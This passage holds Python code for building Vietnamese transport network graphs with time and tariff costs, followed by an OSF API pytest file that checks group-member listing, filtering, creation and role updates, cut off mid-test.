cost_list = list(cost_dataframe.itertuples(index=False)) for cost_param in cost_list: if cost_param.vehicle_min <= x.vehicle_co < cost_param.vehicle_max: min_tariff_cost = 1.0*cost_param.tariff_min_usd*x.length max_tariff_cost = 1.0*cost_param.tariff_max_usd*x.length break return min_tariff_cost, max_tariff_cost def national_road_shapefile_to_dataframe(edges_in, road_properties_file,usage_factors): """Create national network dataframe from inputs Parameters - edges_in - String path to edges file/network Shapefile - road_properties_file - String path to Excel file with road attributes - usage_factor - Tuple of 2-float values between 0 and 1 Returns edges: Geopandas DataFrame with network edge topology and attributes """ add_columns = ['number','name','terrain','level','surface','road_class', 'road_cond','asset_type','width','length','min_speed','max_speed', 'min_time','max_time','min_time_cost','max_time_cost','min_tariff_cost', 'max_tariff_cost','vehicle_co'] edges = gpd.read_file(edges_in,encoding='latin1') edges.columns = map(str.lower, edges.columns) edges['asset_type'] = '' edges['level'] = '' # assgin asset terrain edges['terrain'] = edges.apply(assign_national_road_terrain, axis=1) # assign road conditon edges['road_cond'] = edges.apply(assign_national_road_conditions, axis=1) # assign road class edges['road_class'] = edges.apply(assign_national_road_class, axis=1) # get the right linelength edges['length'] = edges.geometry.apply(line_length) # correct the widths of the road assets # get the width of edges flat_width_range_list = list(pd.read_excel( road_properties_file, sheet_name='flat_terrain_designs').itertuples(index=False)) mountain_width_range_list = list(pd.read_excel( road_properties_file, sheet_name='mountain_terrain_designs').itertuples(index=False)) edges['width'] = edges.apply(lambda x: assign_assumed_width_to_national_roads_from_file( x, flat_width_range_list, mountain_width_range_list), axis=1) # assign minimum and maximum speed to network edges['speed'] = edges.apply(lambda x: assign_min_max_speeds_to_national_roads_from_file( x, flat_width_range_list, mountain_width_range_list), axis=1) edges[['min_speed', 'max_speed']] = edges['speed'].apply(pd.Series) edges.drop('speed', axis=1, inplace=True) # assign minimum and maximum travel time to network edges['min_time'] = edges['length']/edges['max_speed'] edges['max_time'] = edges['length']/edges['min_speed'] cost_values_df = pd.read_excel(road_properties_file, sheet_name='costs') # assign minimum and maximum cost of time in USD to the network # the costs of time = (unit cost of time in USD/hr)*(travel time in hr) edges['time_cost'] = edges.apply( lambda x: assign_minmax_time_costs_national_roads_apply(x, cost_values_df), axis=1) edges[['min_time_cost', 'max_time_cost']] = edges['time_cost'].apply(pd.Series) edges.drop('time_cost', axis=1, inplace=True) # assign minimum and maximum cost of tonnage in USD/ton to the network # the costs of time = (unit cost of tariff in USD/ton-km)*(length in km) edges['tariff_cost'] = edges.apply( lambda x: assign_minmax_tariff_costs_national_roads_apply(x, cost_values_df), axis=1) edges[['min_tariff_cost', 'max_tariff_cost']] = edges['tariff_cost'].apply(pd.Series) edges.drop('tariff_cost', axis=1, inplace=True) edges.rename(columns={'ten_duong_':'number','ten_doan__':'name','loai_mat__':'surface'},inplace = True) edges['min_time_cost'] = (1 + usage_factors[0])*edges['min_time_cost'] edges['max_time_cost'] = (1 + usage_factors[1])*edges['max_time_cost'] edges['min_tariff_cost'] = (1 + usage_factors[0])*edges['min_tariff_cost'] edges['max_tariff_cost'] = (1 + usage_factors[1])*edges['max_tariff_cost'] # make sure that From and To node are the first two columns of the dataframe # to make sure the conversion from dataframe to igraph network goes smooth edges = edges[['edge_id','g_id','from_node','to_node'] + add_columns + ['geometry']] edges = edges.reindex(list(edges.columns)[2:]+list(edges.columns)[:2], axis=1) return edges def national_road_shapefile_to_network(edges_in, road_properties_file,usage_factors): """Create national igraph network from inputs Parameters - edges_in - String path to edges file/network Shapefile - road_properties_file - String path to Excel file with road attributes - usage_factor - Tuple of 2-float values between 0 and 1 Returns G - Igraph object with network edge topology and attributes """ edges = national_road_shapefile_to_dataframe(edges_in, road_properties_file,usage_factors) G = ig.Graph.TupleList(edges.itertuples(index=False), edge_attrs=list(edges.columns)[2:]) # only keep connected network return G def assign_minmax_time_costs_networks_apply(x, cost_dataframe): """Assign time costs on networks in Vietnam Parameters - x - Pandas dataframe with values - length - Float length of edge in km - min_speed - Float minimum assigned speed in km/hr - max_speed - Float maximum assigned speed in km/hr - cost_dataframe - Pandas Dataframe with costs Returns - min_time_cost - Float minimum assigned cost of time in USD - max_time_cost - Float maximum assigned cost of time in USD """ cost_list = list(cost_dataframe.itertuples(index=False)) for cost_param in cost_list: min_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.max_speed) max_time_cost = 1.0*cost_param.time_cost_usd*(x.length/x.min_speed) return min_time_cost, max_time_cost def assign_minmax_tariff_costs_networks_apply(x, cost_dataframe): """Assign tariff costs on networks in Vietnam Parameters - x - Pandas dataframe with values - length - Float length of edge in km - cost_dataframe - Pandas Dataframe with costs Returns - min_tariff_cost - Float minimum assigned tariff cost in USD/ton - max_tariff_cost - Float maximum assigned tariff cost in USD/ton """ cost_list = list(cost_dataframe.itertuples(index=False)) for cost_param in cost_list: min_tariff_cost = 1.0*cost_param.tariff_min_usd*x.length max_tariff_cost = 1.0*cost_param.tariff_max_usd*x.length return min_tariff_cost, max_tariff_cost def network_shapefile_to_dataframe(edges_in, mode_properties_file, mode_name, speed_min, speed_max,usage_factors): """Create network dataframe from inputs Parameters - edges_in - String path to edges file/network Shapefile - mode_properties_file - String path to Excel file with mode attributes - mode_name - String name of mode - speed_min - Float value of minimum assgined speed - speed_max - Float value of maximum assgined speed - usage_factor - Tuple of 2-float values between 0 and 1 Returns edges - Geopandas DataFrame with network edge topology and attributes """ add_columns = ['number','name','terrain','level', 'width','length','min_speed','max_speed', 'min_time','max_time','min_time_cost','max_time_cost','min_tariff_cost', 'max_tariff_cost','vehicle_co'] edges = gpd.read_file(edges_in,encoding='utf-8') edges.columns = map(str.lower, edges.columns) edges['number'] = '' edges['terrain'] = '' edges['level'] = '' edges['width'] = 0 edges['vehicle_co'] = 0 if mode_name == 'rail': edges.rename(columns={'railwaylin':'name'},inplace = True) elif mode_name in ['inland','coastal']: edges.rename(columns={'link':'name'},inplace = True) else: edges['name'] = '' # assgin asset terrain # get the right linelength edges['length'] = edges.geometry.apply(line_length) # assign some speeds edges['min_speed'] = speed_min edges['max_speed'] = speed_max # assign minimum and maximum travel time to network edges['min_time'] = edges['length']/edges['max_speed'] edges['max_time'] = edges['length']/edges['min_speed'] cost_values_df = pd.read_excel(mode_properties_file, sheet_name=mode_name) # assign minimum and maximum cost of time in USD to the network # the costs of time = (unit cost of time in USD/hr)*(travel time in hr) edges['time_cost'] = edges.apply( lambda x: assign_minmax_time_costs_networks_apply(x, cost_values_df), axis=1) edges[['min_time_cost', 'max_time_cost']] = edges['time_cost'].apply(pd.Series) edges.drop('time_cost', axis=1, inplace=True) # assign minimum and maximum cost of tonnage in USD/ton to the network # the costs of time = (unit cost of tariff in USD/ton-km)*(length in km) edges['tariff_cost'] = edges.apply( lambda x: assign_minmax_tariff_costs_networks_apply(x, cost_values_df), axis=1) edges[['min_tariff_cost', 'max_tariff_cost']] = edges['tariff_cost'].apply(pd.Series) edges.drop('tariff_cost', axis=1, inplace=True) edges['min_time_cost'] = (1 + usage_factors[0])*edges['min_time_cost'] edges['max_time_cost'] = (1 + usage_factors[1])*edges['max_time_cost'] edges['min_tariff_cost'] = (1 + usage_factors[0])*edges['min_tariff_cost'] edges['max_tariff_cost'] = (1 + usage_factors[1])*edges['max_tariff_cost'] # make sure that From and To node are the first two columns of the dataframe # to make sure the conversion from dataframe to igraph network goes smooth edges = edges[['edge_id','g_id','from_node','to_node'] + add_columns + ['geometry']] edges = edges.reindex(list(edges.columns)[2:]+list(edges.columns)[:2], axis=1) return edges def network_shapefile_to_network(edges_in, mode_properties_file, mode_name, speed_min, speed_max,utilization_factors): """Create igraph network from inputs Parameters - edges_in - String path to edges file/network Shapefile - mode_properties_file - String path to Excel file with mode attributes - mode_name - String name of mode - speed_min - Float value of minimum assgined speed - speed_max - Float value of maximum assgined speed - usage_factor - Tuple of 2-float values between 0 and 1 Returns G - Igraph object with network edge topology and attributes """ edges = network_shapefile_to_dataframe( edges_in, mode_properties_file, mode_name, speed_min, speed_max,utilization_factors) G = ig.Graph.TupleList(edges.itertuples(index=False), edge_attrs=list(edges.columns)[2:]) # only keep connected network return G def assign_minmax_tariff_costs_multi_modal_apply(x, cost_dataframe): """Assign tariff costs on multi-modal network links in Vietnam Parameters - x - Pandas dataframe with values - port_type - String name of port type - from_mode - String name of mode - to_mode - String name of mode - other_mode - String name of mode - cost_dataframe - Pandas Dataframe with costs Returns - min_tariff_cost - Float minimum assigned tariff cost in USD/ton - max_tariff_cost - Float maximum assigned tariff cost in USD/ton """ min_tariff_cost = 0 max_tariff_cost = 0 cost_list = list(cost_dataframe.itertuples(index=False)) for cost_param in cost_list: if cost_param.one_mode == x.port_type and cost_param.other_mode == x.to_mode: min_tariff_cost = cost_param.tariff_min_usd max_tariff_cost = cost_param.tariff_max_usd break elif cost_param.one_mode == x.to_mode and cost_param.other_mode == x.from_mode: min_tariff_cost = cost_param.tariff_min_usd max_tariff_cost = cost_param.tariff_max_usd break elif cost_param.one_mode == x.to_mode and cost_param.other_mode == x.port_type: min_tariff_cost = cost_param.tariff_min_usd max_tariff_cost = cost_param.tariff_max_usd break elif cost_param.one_mode == x.from_mode and cost_param.other_mode == x.to_mode: min_tariff_cost = cost_param.tariff_min_usd max_tariff_cost = cost_param.tariff_max_usd break return min_tariff_cost, max_tariff_cost def multi_modal_shapefile_to_dataframe(edges_in, mode_properties_file, mode_name, length_threshold,usage_factors): """Create multi-modal network dataframe from inputs Parameters - edges_in - String path to edges file/network Shapefile - mode_properties_file - String path to Excel file with mode attributes - mode_name - String name of mode - length_threshold - Float value of threshold in km of length of multi-modal links - usage_factor - Tuple of 2-float values between 0 and 1 Returns edges - Geopandas DataFrame with network edge topology and attributes """ edges = gpd.read_file(edges_in,encoding='utf-8') edges.columns = map(str.lower, edges.columns) # assgin asset terrain # get the right linelength edges['length'] = edges.geometry.apply(line_length) cost_values_df = pd.read_excel(mode_properties_file, sheet_name=mode_name) # assign minimum and maximum cost of tonnage in USD/ton to the network # the costs of time = (unit cost of tariff in USD/ton) edges['tariff_cost'] = edges.apply( lambda x: assign_minmax_tariff_costs_multi_modal_apply(x, cost_values_df), axis=1) edges[['min_tariff_cost', 'max_tariff_cost']] = edges['tariff_cost'].apply(pd.Series) edges.drop('tariff_cost', axis=1, inplace=True) edges['min_time'] = 0 edges['max_time'] = 0 edges['min_time_cost'] = 0 edges['max_time_cost'] = 0 edges['min_time_cost'] = (1 + usage_factors[0])*edges['min_time_cost'] edges['max_time_cost'] = (1 + usage_factors[1])*edges['max_time_cost'] edges['min_tariff_cost'] = (1 + usage_factors[0])*edges['min_tariff_cost'] edges['max_tariff_cost'] = (1 + usage_factors[1])*edges['max_tariff_cost'] # make sure that From and To node are the first two columns of the dataframe # to make sure the conversion from dataframe to igraph network goes smooth edges = edges.reindex(list(edges.columns)[2:]+list(edges.columns)[:2], axis=1) edges = edges[edges['length'] < length_threshold] return edges def multi_modal_shapefile_to_network(edges_in, mode_properties_file, mode_name, length_threshold,utilization_factors): """Create multi-modal igraph network dataframe from inputs Parameters - edges_in - String path to edges file/network Shapefile - mode_properties_file - String path to Excel file with mode attributes - mode_name - String name of mode - length_threshold - Float value of threshold in km of length of multi-modal links - usage_factor - Tuple of 2-float values between 0 and 1 Returns G - Igraph object with network edge topology and attributes """ edges = multi_modal_shapefile_to_dataframe( edges_in, mode_properties_file, mode_name, length_threshold,utilization_factors) G = ig.Graph.TupleList(edges.itertuples(index=False), edge_attrs=list(edges.columns)[2:]) # only keep connected network return G def create_port_names(x,port_names_df): """Add port names in Vietnamese to port data Parameters - x - Pandas DataFrame with values - port_type - String type of port - cangbenid - Integer ID of inland port - objectid - Integer ID of sea port - port_names_df - Pandas DataFrame with port names Returns name - Vietnamese name of port """ name = '' for iter_,port_names in port_names_df.iterrows(): if (x.port_type == 'inland') and (port_names.port_type == 'inland') and (x.cangbenid == port_names.cangbenid): name = port_names.ten elif (x.port_type == 'sea') and (port_names.port_type == 'sea') and (x.objectid == port_names.objectid): name = port_names.ten_cang return name def read_waterway_ports(ports_file_with_ids, ports_file_with_names): """Create port data with attributes Parameters - ports_file_with_ids - String path of GeoDataFrame with port IDs - ports_file_with_names - String path of GeoDataFrame with port names Returns ports_with_id - GeoPandas DataFrame with port attributes """ # load data ports_with_name = gpd.read_file(ports_file_with_names, encoding='utf-8') ports_with_id = gpd.read_file(ports_file_with_ids, encoding='utf-8') ports_with_id.columns = map(str.lower, ports_with_id.columns) ports_with_name.columns = map(str.lower, ports_with_name.columns) ports_with_id['name'] = ports_with_id.apply(lambda x: create_port_names(x,ports_with_name),axis = 1) ports_with_id['population'] = 0 ports_with_id['capacity'] = 1e9 ports_with_id = ports_with_id[['node_id','name','port_type','port_class','tons','population','capacity','geometry']] return ports_with_id def read_setor_nodes(node_file_with_ids,sector): """Create port data with attributes Parameters - ports_file_with_ids - String path of GeoDataFrame with port IDs - sector - String path of sector Returns ports_with_id - GeoPandas DataFrame with port attributes """ # load data add_columns = [('name',''),('tons',0),('population',0),('capacity',1e9)] ports_with_id = gpd.read_file(node_file_with_ids, encoding='utf-8') ports_with_id.columns = map(str.lower, ports_with_id.columns) if sector == 'air': ports_with_id.rename(columns={'ten': 'name'}, inplace=True) for ac in add_columns: if ac[0] not in ports_with_id.columns.values.tolist(): ports_with_id[ac[0]] = ac[1] ports_with_id = ports_with_id[['node_id','name','tons','population','capacity','geometry']] return ports_with_id

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Python

api_tests/osf_groups/views/test_osf_group_members_list.py

gaybro8777/osf.io

30408511510a40bc393565817b343ef5fd76ab14

[ "Apache-2.0" ]

628

2015-01-15T04:33:22.000Z

2022-03-30T06:40:10.000Z

api_tests/osf_groups/views/test_osf_group_members_list.py

gaybro8777/osf.io

30408511510a40bc393565817b343ef5fd76ab14

[ "Apache-2.0" ]

4,712

2015-01-02T01:41:53.000Z

2022-03-30T14:18:40.000Z

api_tests/osf_groups/views/test_osf_group_members_list.py

gaybro8777/osf.io

30408511510a40bc393565817b343ef5fd76ab14

[ "Apache-2.0" ]

371

2015-01-12T16:14:08.000Z

2022-03-31T18:58:29.000Z

import pytest from waffle.testutils import override_flag from django.utils import timezone from framework.auth.core import Auth from api.base.settings.defaults import API_BASE from osf.models import OSFUser from osf.utils.permissions import MEMBER, MANAGE, MANAGER from osf_tests.factories import ( AuthUserFactory, OSFGroupFactory, ) from osf.features import OSF_GROUPS @pytest.fixture() def user(): return AuthUserFactory() @pytest.fixture() def manager(): return AuthUserFactory() @pytest.fixture() def member(): return AuthUserFactory() @pytest.fixture() def old_name(): return 'Platform Team' @pytest.fixture() def user3(osf_group): return AuthUserFactory() @pytest.fixture() def osf_group(manager, member, old_name): group = OSFGroupFactory(name=old_name, creator=manager) group.make_member(member) return group @pytest.fixture() def url(osf_group): return '/{}groups/{}/members/'.format(API_BASE, osf_group._id) @pytest.mark.django_db @pytest.mark.enable_quickfiles_creation class TestGroupMembersList: def test_return_perms(self, app, member, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): # test unauthenticated res = app.get(url) assert res.status_code == 200 # test user res = app.get(url, auth=user.auth) assert res.status_code == 200 # test member res = app.get(url, auth=member.auth) assert res.status_code == 200 # test manager res = app.get(url, auth=manager.auth) assert res.status_code == 200 # test invalid group url = '/{}groups/{}/members/'.format(API_BASE, '12345_bad_id') res = app.get(url, auth=manager.auth, expect_errors=True) assert res.status_code == 404 def test_return_members(self, app, member, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): res = app.get(url) data = res.json['data'] assert len(data) == 2 member_ids = [mem['id'] for mem in data] assert '{}-{}'.format(osf_group._id, manager._id) in member_ids assert '{}-{}'.format(osf_group._id, member._id) in member_ids @pytest.mark.django_db @pytest.mark.enable_quickfiles_creation class TestOSFGroupMembersFilter: def test_filtering(self, app, member, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): # test filter members url_filter = url + '?filter[role]=member' res = app.get(url_filter) data = res.json['data'] assert len(data) == 1 member_ids = [mem['id'] for mem in data] assert '{}-{}'.format(osf_group._id, member._id) in member_ids # test filter managers url_filter = url + '?filter[role]=manager' res = app.get(url_filter) data = res.json['data'] assert len(data) == 1 member_ids = [mem['id'] for mem in data] assert '{}-{}'.format(osf_group._id, manager._id) in member_ids # test invalid role url_filter = url + '?filter[role]=bad_role' res = app.get(url_filter, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == "Value \'bad_role\' is not valid." # test filter fullname url_filter = url + '?filter[full_name]={}'.format(manager.fullname) res = app.get(url_filter) data = res.json['data'] assert len(data) == 1 member_ids = [mem['id'] for mem in data] assert '{}-{}'.format(osf_group._id, manager._id) in member_ids # test filter fullname url_filter = url + '?filter[full_name]={}'.format(member.fullname) res = app.get(url_filter) data = res.json['data'] assert len(data) == 1 member_ids = [mem['id'] for mem in data] assert '{}-{}'.format(osf_group._id, member._id) in member_ids # test invalid filter url_filter = url + '?filter[created]=2018-02-01' res = app.get(url_filter, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == "\'created\' is not a valid field for this endpoint." def make_create_payload(role, user=None, full_name=None, email=None): base_payload = { 'data': { 'type': 'group-members', 'attributes': { 'role': role } } } if user: base_payload['data']['relationships'] = { 'users': { 'data': { 'id': user._id, 'type': 'users' } } } else: if full_name: base_payload['data']['attributes']['full_name'] = full_name if email: base_payload['data']['attributes']['email'] = email return base_payload @pytest.mark.django_db @pytest.mark.enable_quickfiles_creation class TestOSFGroupMembersCreate: def test_create_manager(self, app, manager, user3, osf_group, url): with override_flag(OSF_GROUPS, active=True): payload = make_create_payload(MANAGER, user3) res = app.post_json_api(url, payload, auth=manager.auth) assert res.status_code == 201 data = res.json['data'] assert data['attributes']['role'] == MANAGER assert data['attributes']['full_name'] == user3.fullname assert data['attributes']['unregistered_member'] is None assert data['id'] == '{}-{}'.format(osf_group._id, user3._id) assert user3._id in data['relationships']['users']['links']['related']['href'] assert osf_group.has_permission(user3, MANAGE) is True def test_create_member(self, app, member, manager, user3, osf_group, url): with override_flag(OSF_GROUPS, active=True): payload = make_create_payload(MEMBER, user3) res = app.post_json_api(url, payload, auth=manager.auth) assert res.status_code == 201 data = res.json['data'] assert data['attributes']['role'] == MEMBER assert data['attributes']['full_name'] == user3.fullname assert data['attributes']['unregistered_member'] is None assert data['id'] == '{}-{}'.format(osf_group._id, user3._id) assert data['id'] == '{}-{}'.format(osf_group._id, user3._id) assert user3._id in data['relationships']['users']['links']['related']['href'] assert osf_group.has_permission(user3, MANAGE) is False assert osf_group.has_permission(user3, MEMBER) is True def test_add_unregistered_member(self, app, manager, osf_group, url): with override_flag(OSF_GROUPS, active=True): full_name = 'Crazy 8s' payload = make_create_payload(MEMBER, user=None, full_name=full_name, email='eight@cos.io') res = app.post_json_api(url, payload, auth=manager.auth) assert res.status_code == 201 data = res.json['data'] assert data['attributes']['role'] == MEMBER user = OSFUser.load(data['id'].split('-')[1]) assert user._id in data['relationships']['users']['links']['related']['href'] assert osf_group.has_permission(user, MANAGE) is False assert data['attributes']['full_name'] == full_name assert data['attributes']['unregistered_member'] == full_name assert osf_group.has_permission(user, MEMBER) is True assert user in osf_group.members_only assert user not in osf_group.managers # test unregistered user is already a member res = app.post_json_api(url, payload, auth=manager.auth, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'User already exists.' # test unregistered user email is blocked payload['data']['attributes']['email'] = 'eight@example.com' res = app.post_json_api(url, payload, auth=manager.auth, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Email address domain is blocked.' def test_create_member_perms(self, app, manager, member, osf_group, user3, url): with override_flag(OSF_GROUPS, active=True): payload = make_create_payload(MEMBER, user3) # Unauthenticated res = app.post_json_api(url, payload, expect_errors=True) assert res.status_code == 401 # Logged in, nonmember res = app.post_json_api(url, payload, auth=user3.auth, expect_errors=True) assert res.status_code == 403 # Logged in, nonmanager res = app.post_json_api(url, payload, auth=member.auth, expect_errors=True) assert res.status_code == 403 def test_create_members_errors(self, app, manager, member, user3, osf_group, url): with override_flag(OSF_GROUPS, active=True): # invalid user bad_user_payload = make_create_payload(MEMBER, user=user3) bad_user_payload['data']['relationships']['users']['data']['id'] = 'bad_user_id' res = app.post_json_api(url, bad_user_payload, auth=manager.auth, expect_errors=True) assert res.status_code == 404 assert res.json['errors'][0]['detail'] == 'User with id bad_user_id not found.' # invalid type bad_type_payload = make_create_payload(MEMBER, user=user3) bad_type_payload['data']['type'] = 'bad_type' res = app.post_json_api(url, bad_type_payload, auth=manager.auth, expect_errors=True) assert res.status_code == 409 # invalid role bad_perm_payload = make_create_payload('bad_role', user=user3) res = app.post_json_api(url, bad_perm_payload, auth=manager.auth, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'bad_role is not a valid role; choose manager or member.' # fullname not included unregistered_payload = make_create_payload(MEMBER, user=None, full_name=None, email='eight@cos.io') res = app.post_json_api(url, unregistered_payload, auth=manager.auth, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'You must provide a full_name/email combination to add an unconfirmed member.' # email not included unregistered_payload = make_create_payload(MEMBER, user=None, full_name='Crazy 8s', email=None) res = app.post_json_api(url, unregistered_payload, auth=manager.auth, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'You must provide a full_name/email combination to add an unconfirmed member.' # user is already a member existing_member_payload = make_create_payload(MEMBER, user=member) res = app.post_json_api(url, existing_member_payload, auth=manager.auth, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'User is already a member of this group.' # Disabled user user3.date_disabled = timezone.now() user3.save() payload = make_create_payload(MEMBER, user=user3) res = app.post_json_api(url, payload, auth=manager.auth, expect_errors=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Deactivated users cannot be added to OSF Groups.' # No role specified - given member by default user3.date_disabled = None user3.save() payload = make_create_payload(MEMBER, user=user3) payload['attributes'] = {} res = app.post_json_api(url, payload, auth=manager.auth) assert res.status_code == 201 assert res.json['data']['attributes']['role'] == MEMBER assert osf_group.has_permission(user3, 'member') assert not osf_group.has_permission(user3, 'manager') def make_bulk_create_payload(role, user=None, full_name=None, email=None): base_payload = { 'type': 'group-members', 'attributes': { 'role': role } } if user: base_payload['relationships'] = { 'users': { 'data': { 'id': user._id, 'type': 'users' } } } else: if full_name: base_payload['attributes']['full_name'] = full_name if email: base_payload['attributes']['email'] = email return base_payload @pytest.mark.django_db @pytest.mark.enable_quickfiles_creation class TestOSFGroupMembersBulkCreate: def test_bulk_create_group_member_perms(self, app, url, manager, member, user, user3, osf_group): with override_flag(OSF_GROUPS, active=True): payload_user_three = make_bulk_create_payload(MANAGER, user3) payload_user = make_bulk_create_payload(MEMBER, user) bulk_payload = [payload_user_three, payload_user] # unauthenticated res = app.post_json_api(url, {'data': bulk_payload}, expect_errors=True, bulk=True) assert res.status_code == 401 # non member res = app.post_json_api(url, {'data': bulk_payload}, auth=user.auth, expect_errors=True, bulk=True) assert res.status_code == 403 # member res = app.post_json_api(url, {'data': bulk_payload}, auth=member.auth, expect_errors=True, bulk=True) assert res.status_code == 403 # manager res = app.post_json_api(url, {'data': bulk_payload}, auth=manager.auth, bulk=True) assert res.status_code == 201 assert len(res.json['data']) == 2 assert osf_group.is_member(user) is True assert osf_group.is_member(user3) is True assert osf_group.is_manager(user) is False assert osf_group.is_manager(user3) is True def test_bulk_create_unregistered(self, app, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): payload_user = make_bulk_create_payload(MEMBER, user) payload_unregistered = make_bulk_create_payload(MEMBER, user=None, full_name='Crazy 8s', email='eight@cos.io') res = app.post_json_api(url, {'data': [payload_user, payload_unregistered]}, auth=manager.auth, bulk=True) unreg_user = OSFUser.objects.get(username='eight@cos.io') assert res.status_code == 201 ids = [user_data['id'] for user_data in res.json['data']] roles = [user_data['attributes']['role'] for user_data in res.json['data']] assert '{}-{}'.format(osf_group._id, user._id) in ids assert '{}-{}'.format(osf_group._id, unreg_user._id) in ids assert roles[0] == MEMBER assert roles[1] == MEMBER unregistered_names = [user_data['attributes']['unregistered_member'] for user_data in res.json['data']] assert set(['Crazy 8s', None]) == set(unregistered_names) assert osf_group.has_permission(user, MANAGE) is False assert osf_group.has_permission(user, MEMBER) is True assert osf_group.has_permission(unreg_user, MANAGE) is False assert osf_group.has_permission(unreg_user, MEMBER) is True assert osf_group.is_member(unreg_user) is True assert osf_group.is_manager(unreg_user) is False def test_bulk_create_group_member_errors(self, app, url, manager, member, user, user3, osf_group): with override_flag(OSF_GROUPS, active=True): payload_member = make_bulk_create_payload(MANAGER, member) payload_user = make_bulk_create_payload(MANAGER, user) # User in bulk payload is an invalid user bad_user_payload = make_bulk_create_payload(MEMBER, user=user3) bad_user_payload['relationships']['users']['data']['id'] = 'bad_user_id' bulk_payload = [payload_user, bad_user_payload] res = app.post_json_api(url, {'data': bulk_payload}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 404 assert res.json['errors'][0]['detail'] == 'User with id bad_user_id not found.' assert osf_group.is_member(user) is False assert osf_group.is_manager(user) is False # User in bulk payload is invalid bad_type_payload = make_bulk_create_payload(MEMBER, user=user3) bad_type_payload['type'] = 'bad_type' bulk_payload = [payload_user, bad_type_payload] res = app.post_json_api(url, {'data': bulk_payload}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 409 assert osf_group.is_member(user) is False assert osf_group.is_manager(user) is False # User in bulk payload has invalid role specified bad_role_payload = make_bulk_create_payload('bad_role', user=user3) res = app.post_json_api(url, {'data': [payload_user, bad_role_payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'bad_role is not a valid role; choose manager or member.' assert osf_group.is_member(user3) is False assert osf_group.is_member(user) is False assert osf_group.is_manager(user3) is False assert osf_group.is_manager(user) is False # fullname not included unregistered_payload = make_bulk_create_payload(MEMBER, user=None, full_name=None, email='eight@cos.io') res = app.post_json_api(url, {'data': [payload_user, unregistered_payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'You must provide a full_name/email combination to add an unconfirmed member.' assert osf_group.is_member(user) is False assert osf_group.is_manager(user) is False # email not included unregistered_payload = make_bulk_create_payload(MEMBER, user=None, full_name='Crazy 8s', email=None) res = app.post_json_api(url, {'data': [payload_user, unregistered_payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'You must provide a full_name/email combination to add an unconfirmed member.' assert osf_group.is_member(user) is False assert osf_group.is_manager(user) is False # Member of bulk payload is already a member bulk_payload = [payload_member, payload_user] res = app.post_json_api(url, {'data': bulk_payload}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'User is already a member of this group.' assert osf_group.is_member(member) is True assert osf_group.is_member(user) is False assert osf_group.is_manager(member) is False assert osf_group.is_manager(user) is False # Disabled user user3.date_disabled = timezone.now() user3.save() payload = make_bulk_create_payload(MEMBER, user=user3) res = app.post_json_api(url, {'data': [payload_user, payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Deactivated users cannot be added to OSF Groups.' # No role specified, given member by default user3.date_disabled = None user3.save() payload = make_bulk_create_payload(MEMBER, user=user3) payload['attributes'] = {} res = app.post_json_api(url, {'data': [payload_user, payload]}, auth=manager.auth, bulk=True) assert res.status_code == 201 assert len(res.json['data']) == 2 ids = [user_data['id'] for user_data in res.json['data']] assert '{}-{}'.format(osf_group._id, user._id) in ids assert '{}-{}'.format(osf_group._id, user3._id) in ids assert osf_group.is_member(user3) is True assert osf_group.is_member(user) is True assert osf_group.is_manager(user3) is False assert osf_group.is_manager(user) is True def build_bulk_update_payload(group_id, user_id, role): return { 'id': '{}-{}'.format(group_id, user_id), 'type': 'group-members', 'attributes': { 'role': role } } @pytest.mark.django_db @pytest.mark.enable_quickfiles_creation class TestOSFGroupMembersBulkUpdate: def test_update_role(self, app, member, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): payload = build_bulk_update_payload(osf_group._id, member._id, MANAGER) bulk_payload = {'data': [payload]} # test unauthenticated res = app.patch_json_api(url, bulk_payload, expect_errors=True, bulk=True) assert res.status_code == 401 # test user res = app.patch_json_api(url, bulk_payload, auth=user.auth, expect_errors=True, bulk=True) assert res.status_code == 403 # test member res = app.patch_json_api(url, bulk_payload, auth=member.auth, expect_errors=True, bulk=True) assert res.status_code == 403 # test manager res = app.patch_json_api(url, bulk_payload, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 200 assert res.json['data'][0]['attributes']['role'] == MANAGER assert res.json['data'][0]['attributes']['full_name'] == member.fullname assert res.json['data'][0]['id'] == '{}-{}'.format(osf_group._id, member._id) payload = build_bulk_update_payload(osf_group._id, member._id, MEMBER) bulk_payload = {'data': [payload]} res = app.patch_json_api(url, bulk_payload, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 200 assert res.json['data'][0]['attributes']['role'] == MEMBER assert res.json['data'][0]['attributes']['full_name'] == member.fullname assert res.json['data'][0]['id'] == '{}-{}'.format(osf_group._id, member._id) def test_bulk_update_errors(self, app, member, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): # id not in payload payload = { 'type': 'group-members', 'attributes': { 'role': MEMBER } } bulk_payload = {'data': [payload]} res = app.patch_json_api(url, bulk_payload, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Member identifier not provided.' # test improperly formatted id payload = build_bulk_update_payload(osf_group._id, member._id, MANAGER) payload['id'] = 'abcde' res = app.patch_json_api(url, {'data': 